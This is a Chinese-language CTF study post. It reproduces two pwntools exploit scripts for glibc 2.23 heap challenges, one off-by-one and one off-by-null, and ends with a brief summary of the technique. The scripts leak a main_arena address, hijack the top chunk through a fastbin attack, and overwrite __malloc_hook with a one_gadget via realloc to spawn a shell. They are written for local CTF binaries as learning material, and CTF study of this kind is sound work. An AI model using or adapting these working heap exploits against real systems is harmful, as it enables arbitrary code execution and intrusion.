前言:之前刷过这样的题,由于时间原因忘的差不多了,这里捡起两道不相似类型的题进行了大佬的exp学习,这里就不重写exp了,很好理解。一个off-by-one 一个off-by-null
off-by-one exp:
from pwn import *
def add(size, index, content):
sh.sendlineafter('choice >> \n', '1')
sh.sendlineafter('Size : ', str(size))
sh.sendlineafter('index: ', str(index))
sh.sendafter('name:\n', content)
def remove(index):
sh.sendlineafter('choice >> \n', '2')
sh.sendlineafter('idx :', str(index))
def show(index):
sh.sendlineafter('choice >> \n', '3')
sh.sendlineafter('idx :', str(index))
for i in range(6):
add(0x58, i, '\n')
for i in range(5):
remove(i)
add(0x28, 4, '\n')
sh.sendlineafter('choice >> \n', '0' * 0x400)
add(0x58, 0, 'a' * 0x50 + p64(0x61))
add(0x18, 1, '\n')
add(0x50, 2, '\n')
add(0x48, 3, '\n')
remove(1)
remove(5)
add(0x48, 5, '\n')
sh.sendlineafter('choice >> \n', '0' * 0x400)
add(0x18, 0, '\n')
add(0x18, 1, '\n')
show(2)
sh.recvuntil('flowers : ')
result = sh.recvuntil('1.', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
remove(3)
remove(4)
add(0x38, 3, '\n')
add(0x50, 4, '\0' * 0x10 + p64(0) + p64(0x51) + p64(main_arena_addr + 0xd))
add(0x48, 1, '\n')
add(0x48, 0, '\0' * 0x3b + p64(main_arena_addr - 0x28))
add(0x50, 2, '\n')
add(0x50, 2, '\n')
add(0x50, 2, '\n')
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(0x50, 2, p64(libc_addr + 0xf1147) + p64(libc_addr + libc.symbols['realloc'] + 20))
sh.sendlineafter('choice >> \n', '1')
sh.sendlineafter('Size : ', str(1))
sh.sendlineafter('index: ', str(1))
sh.interactive()
off-by-null exp:
#coding:utf-8
from pwn import *
libc = ELF('/home/roo/桌面/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
context.log_level = "debug"
def choice(idx):
r.sendlineafter("Choice:", str(idx))
def add(size, content = '\n'):
choice(1)
r.sendlineafter("build?", str(size))
r.sendlineafter("house?", content)
def delete(idx):
choice(2)
r.sendlineafter("remove?", str(idx))
def show(idx):
choice(3)
r.sendlineafter("view?", str(idx))
def pie(addr=0):
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
return text_base + addr
def pwn():
add(0x28) # 0
add(0x40) # 1
add(0x40) # 2
add(0x40) # 3
add(0x40) # 4
add(0x40) # 5
add(0x18) # 6
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
choice('5' * 0x400)
add(0x28,'a'*0x28) # 0 chufa unlink off-by-null
gdb.attach(r)
add(0x38) # 1
add(0x38) # 2
add(0x40) # 3
add(0x28) # 4
delete(1)
delete(5)
choice('5' * 0x400)
add(0x38) # 1
show(2)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88
malloc_hook_addr = main_arena_addr - 0x10
#libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
#libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['realloc']
#realloc_addr = libc_base + libc.dump('realloc')
one = [0x45216, 0x4527a, 0xf0274, 0xf1207]
one_gadget = libc_base + one[3]
delete(3)
add(0x28) # 3
add(0x18, p64(0) + p64(0x51) + p64(main_arena_addr + 0xD)) # 7
#heap = pie(0x202060)
#log.success("heap: " + hex(heap))
log.success("main_arena_addr: " + hex(main_arena_addr))
add(0x40)
delete(0)
add(0x43, '\x00' * 0x3b + p64(malloc_hook_addr - 0x28))
add(0x40) #8
add(0x40) #9
add(0x40) #10
add(0x40, p64(0) * 2 + p64(one_gadget) + p64(realloc_addr + 0x6)) #11
log.success("one_gadget: " + hex(one_gadget))
#gdb.attach(r, "b *" + hex(one_gadget))
choice(1)
r.sendlineafter("build?", str(0x20))
r.interactive()
while True:
try:
r = process('./family')
pwn()
except EOFError:
pass
总结:在malloc chunk的时候有一点就是当bin里都申请完了,这时候会向top chunk进行申请,上面两个exp就是通过mianarena来劫持top chunk进行任意地址申请的攻击手法,在libc2.23通用,lib2.27也应该可以,没遇见过。。。。遇见的时候再慢慢调试。、、、ttttcl我